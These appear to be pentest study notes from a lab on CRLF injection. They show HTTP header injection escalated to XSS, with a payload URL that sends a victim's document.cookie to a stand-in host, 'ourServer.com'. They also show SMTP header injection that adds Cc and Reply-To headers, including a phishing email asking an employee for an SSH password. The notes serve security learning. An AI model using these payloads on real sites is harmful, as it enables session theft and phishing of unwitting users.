CRLF are those bytes: %0d%0a, or \r\n. \r moves cursor to starts of current line, \n moves cursor down 1 line.
HTTP, SMTP uses these to separate headers, body. In fact, everything uses these.
So if the webapp is vulnerable, we can inject \r\n to a user input, injecting a header, or a body, or both, effectively manipulating webapp’s response
Tool#
pipx install crlfsuitecrlfsuite -t http://127.0.0.1:8000/?target=asdHTTP Header Injection - XSS#
Discovery#
The webapp has a function which will redirect to a page like this
GET /?target=/asd HTTP/1.1And the webapp will response like this
HTTP/1.1 302 OK
Content-Type: text/plain
Location: /asdWe try injecting CRLF like this:
GET /?target=%0d%0aTest:%20test HTTP/1.1And the webapp response with this, indicating that it is vulnerable to CRLF injection
HTTP/1.1 302 OK
Content-Type: text/plain
Location:
Test: testExploitation#
With 302 response, when the Location header contains a value, the browser will ignore any content in the body, so if we want to XSS, we need to specify an empty Location header
We inject HTML code into HTTP response body like this
GET /?target=%0d%0a%0d%0a<html><script>alert(1)</script></html> HTTP/1.1The webapp response like this, however, the HTML code is invalid, since the Content-Type header’s value is text/plain
HTTP/1.1 302 OK
Content-Type: text/plain
Location:
<html><script>alert(1)</script></html>So we supply another Content-Type header, effectively overriding the first one like this
GET /?target=%0d%0aContent-Type:%20text%2fhtml%0d%0a%0d%0a<html><script>alert(1)</script></html> HTTP/1.1Now the webapp response with this, and our XSS code works
HTTP/1.1 302 OK
Content-Type: text/plain
Location:
Content-Type: text/html
<html>
<script>
alert(1)
</script>
</html>Now we just need to deliver this url to a victim, stealing their session.
http://vulnserver.com/?target=%0d%0aContent-Type:%20text%2fhtml%0d%0a%0d%0a<html><script>document.location="http%3A%2F%2FourServer.com%2F%3Fc="+document.cookie;</script></html>NOTE: Again, if
Locationheader is not empty, the browser will ignore the whole body, so no JS execution. However, if the webapp redirects users using headers likeRefresh: 2; http://redirect.com/, we can specify any value we want.
SMTP injection#
Webapp sometimes has a function to send email to someone.
Discovery#
Consider this webapp, it has a contact page that we can send an email to an admin like this:
POST /contact.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded
name=someone&phone=1234567890&message=helloAnd that results in an email like this to admin. We can see someone is reflected on the From header. Normally, we cannot see this message.
From: someone
Message-ID: H222YUDFoavvLzpSLSqBpit4voRtoeVz33KcnxJrQm0=@mailhog.example
Received: from localhost by mailhog.example (MailHog)
id H222YUDFoavvLzpSLSqBpit4voRtoeVz33KcnxJrQm0=@mailhog.example; Fri, 09 Jan 2026 18:30:02 +0000
Reply-To: webmaster@smtpinjection.htb
Return-Path: <www-data@ng-1796879-httpattacks2smtpheader-ezfsl-649fc96495-flvhf>
Subject: You received a message
To: admin@smtpinjection.htb
Here is the message:
helloAnd if we try injecting a header using CRLF injection like this
POST /contact.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded
name=someone%0d%0aTest:%20test&phone=1234567890&message=helloIt will result in this email:
From: someone
Test: test
Message-ID: H222YUDFoavvLzpSLSqBpit4voRtoeVz33KcnxJrQm0=@mailhog.example
Received: from localhost by mailhog.example (MailHog)
id H222YUDFoavvLzpSLSqBpit4voRtoeVz33KcnxJrQm0=@mailhog.example; Fri, 09 Jan 2026 18:30:02 +0000
Reply-To: webmaster@smtpinjection.htb
Return-Path: <www-data@ng-1796879-httpattacks2smtpheader-ezfsl-649fc96495-flvhf>
Subject: You received a message
To: admin@smtpinjection.htb
Here is the message:
helloExploitation#
NOTE: Sometimes, we supply a name, and it’s reflected in the
Subjectheader like this:You received a message from <name>!. In this case,!is appended to our input. If we try to inject aCcheader containing our email address, the web application will append the exclamation mark to our email address and thus invalidate it. It is therefore recommended always to inject an additional dummy header after our actual payload to prevent such issues
Normally, we cannot see the email, obviously, so we can inject a To, Bcc, or Cc header, and if we receive the email, it means that we successfully injected
In this case, we are going with Cc. We also appended a dummy header DummyHeader: abc
POST /contact.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded
name=someone%0d%0aCc:%20evil@attacker.htb%0d%0aDummyHeader:%20abc&phone=1234567890&message=helloWhen we check our inbox, we see the email sent to us, indicate that the webapp is vulnerable to SMTP injection via CRLF injection.
From: someone
Cc: evil@attacker.htb
DummyHeader: abc@smtpinjection.htb
Message-ID: H222YUDFoavvLzpSLSqBpit4voRtoeVz33KcnxJrQm0=@mailhog.example
Received: from localhost by mailhog.example (MailHog)
id H222YUDFoavvLzpSLSqBpit4voRtoeVz33KcnxJrQm0=@mailhog.example; Fri, 09 Jan 2026 18:30:02 +0000
Reply-To: webmaster@smtpinjection.htb
Return-Path: <www-data@ng-1796879-httpattacks2smtpheader-ezfsl-649fc96495-flvhf>
Subject: You received a message
To: admin@smtpinjection.htb
Here is the message:
helloNow we can do DOS, send spam messages, or phishing email using the webapp’s legit email address. You might also consider using the Reply-To header so that if victim reply to the email, they will be replying to us
POST /contact.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded
name=someone%0d%0aCc:%20internalEmployee@company.com%0d%0aReply-To:%20evil@attacker.htb%0d%0aDummyHeader:%20abc&phone=1234567890&message=Hi%2C%20can%20you%20please%20send%20me%20the%20production%20server%20ssh%20password%3Furl decoded payload for understanding
name=someone
Cc: internalEmployee@company.com
Reply-To: evil@attacker.htb
DummyHeader: abc
&phone=1234567890
&message=Hi, can you please send me the production server ssh password?